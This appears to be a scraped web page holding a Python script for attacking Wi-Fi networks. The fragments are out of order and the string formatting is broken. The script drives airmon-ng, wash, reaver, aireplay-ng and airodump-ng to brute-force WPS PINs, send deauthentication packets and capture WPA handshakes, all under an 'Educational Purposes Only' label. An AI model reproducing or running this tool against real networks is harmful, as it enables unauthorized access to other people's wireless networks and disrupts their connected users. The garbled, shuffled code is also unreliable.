Wifi Wps Wpa Tester For Pc | 480p |
# Parse output to find BSSID and channel networks = [] lines = output.split("\n") for line in lines: if re.search(r'[0-9A-F]2:[0-9A-F]2:[0-9A-F]2:[0-9A-F]2:[0-9A-F]2:[0-9A-F]2', line.upper()): parts = line.split() if len(parts) >= 2: bssid = parts[0] channel = parts[1] if parts[1].isdigit() else "1" networks.append((bssid, channel)) return networks def wps_pin_attack(mon_interface, bssid, channel): """Perform WPS PIN brute force attack using reaver""" print(YELLOW + f"\nStarting WPS PIN attack on bssid (channel channel)..." + RESET) print(RED + "This can take hours. Press Ctrl+C to stop." + RESET)
#!/usr/bin/env python3 """ Wi-Fi WPS/WPA Tester for PC (Linux) Author: Educational Purposes Only Description: Automated WPS PIN brute force & WPA handshake capture """ import subprocess import sys import re import time import os GREEN = "\033[92m" RED = "\033[91m" YELLOW = "\033[93m" RESET = "\033[0m"
if os.geteuid() != 0: print(RED + "This script must be run as root (sudo)." + RESET) sys.exit(1)
def check_dependencies(): """Check if required tools are installed""" tools = ["airmon-ng", "airodump-ng", "reaver", "wash", "aireplay-ng"] missing = [] for tool in tools: if subprocess.run(f"which tool", shell=True, capture_output=True).returncode != 0: missing.append(tool) if missing: print(RED + f"Missing tools: ', '.join(missing)" + RESET) print(YELLOW + "Install with: sudo apt install aircrack-ng reaver" + RESET) return False return True WIFI WPS WPA TESTER for PC
# Reaver command: fixed pin modes can be used (e.g., -p 12345670) cmd = f"sudo reaver -i mon_interface -b bssid -c channel -vv -K 1" print(f"Running: cmd") run_command(cmd) def capture_wpa_handshake(mon_interface, bssid, channel, output_file="handshake.cap"): """Capture WPA 4-way handshake using airodump-ng and deauth attack""" print(GREEN + f"\nCapturing WPA handshake from bssid..." + RESET)
def run_command(cmd): """Run shell command and return output""" try: result = subprocess.run(cmd, shell=True, capture_output=True, text=True) return result.stdout + result.stderr except Exception as e: return str(e)
iface = get_wireless_interface() if not iface: print(RED + "No wireless interface found." + RESET) sys.exit(1) # Parse output to find BSSID and channel
def scan_wps_networks(mon_interface): """Scan for WPS-enabled networks using wash""" print(GREEN + "\nScanning for WPS-enabled networks (30 seconds)..." + RESET) output = run_command(f"sudo wash -i mon_interface -c 1 -2 30")
# Deauth attack to force reconnection print(YELLOW + "Sending deauthentication packets to force handshake..." + RESET) deauth_cmd = f"sudo aireplay-ng -0 5 -a bssid mon_interface" run_command(deauth_cmd)
time.sleep(10) proc.terminate()
print(GREEN + f"Found wireless interface: iface" + RESET) mon_iface = enable_monitor_mode(iface) print(GREEN + f"Monitor mode enabled: mon_iface" + RESET)
def enable_monitor_mode(interface): """Enable monitor mode on interface""" print(YELLOW + f"Enabling monitor mode on interface..." + RESET) run_command(f"sudo airmon-ng check kill") run_command(f"sudo airmon-ng start interface") # monitor mode interface is usually $interfacemon return f"interfacemon"
# Check if handshake was captured check_cmd = f"sudo aircrack-ng output_file-01.cap 2>/dev/null | grep -q '1 handshake'" if subprocess.run(check_cmd, shell=True).returncode == 0: print(GREEN + f"Handshake captured! File: output_file-01.cap" + RESET) return f"output_file-01.cap" else: print(RED + "No handshake captured. Try again with a client connected." + RESET) return None def main(): print(GREEN + "=== Wi-Fi WPS/WPA Tester for PC (Educational Use) ===" + RESET) Try again with a client connected
# Start airodump to capture handshake dump_cmd = f"sudo airodump-ng -c channel --bssid bssid -w output_file mon_interface" proc = subprocess.Popen(dump_cmd, shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) time.sleep(5)
if not check_dependencies(): sys.exit(1)